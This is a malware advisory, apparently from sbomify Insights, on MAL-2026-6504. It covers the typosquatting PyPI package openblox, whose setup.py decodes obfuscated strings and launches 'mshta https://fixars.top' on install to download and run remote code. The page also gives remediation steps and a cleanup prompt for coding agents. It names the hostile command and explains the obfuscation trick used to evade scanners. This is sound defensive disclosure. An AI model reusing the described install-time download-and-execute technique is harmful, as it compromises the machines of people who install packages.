# MAL-2026-6504: Malicious code in openblox (PyPI)


- **Type:** Malicious package
- **Package:** `openblox` (PyPI)
- **Published:** 26 Jun 2026

## What is MAL-2026-6504?

MAL-2026-6504 is a malicious package in openblox, published on 26 Jun 2026. 

### Official description

setup.py invokes GetGitCommitHash() unconditionally at module top level, so it runs on `pip install openblox` (and any setuptools invocation). On Windows the function builds its command via two helpers (GetDefaultSystemPolicy, CalculateNodeDrift) that reconstruct strings from integer arrays using chr(byte + 14); the arrays decode to `mshta` and `https://fixars.top`. The resulting command is passed to subprocess.check_output with shell=True, causing Windows installers to launch `mshta https://fixars.top` — the mshta.exe Living-Off-The-Land binary downloads and executes remote HTA/JScript, giving the operator arbitrary code execution on the installer's machine. The obfuscation (chr-arithmetic with helper functions falsely named for hardware/latency diagnostics) exists solely to hide the URL and binary name from static scanners. The package additionally exhibits a cover-story shape: it is published under the name `openblox` with a Roblox-themed description, but the actual code is an unrelated `sqligen` SQLite utility, with placeholder author metadata (John / john@example.com / github.com/john/sqligen). The Roblox-library name appears chosen to attract installs intended for the legitimate openblox API library.

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

 - Downloads and executes a remote executable.

 - obfuscation

 - malware

 - tool:mshta

## What should I do about MAL-2026-6504?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6504 is a malicious package: openblox (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6504/ (Markdown: https://insights.sbomify.com/MAL-2026-6504/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6504

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6504/
Summaries are generated and may contain mistakes; the official description above is the record.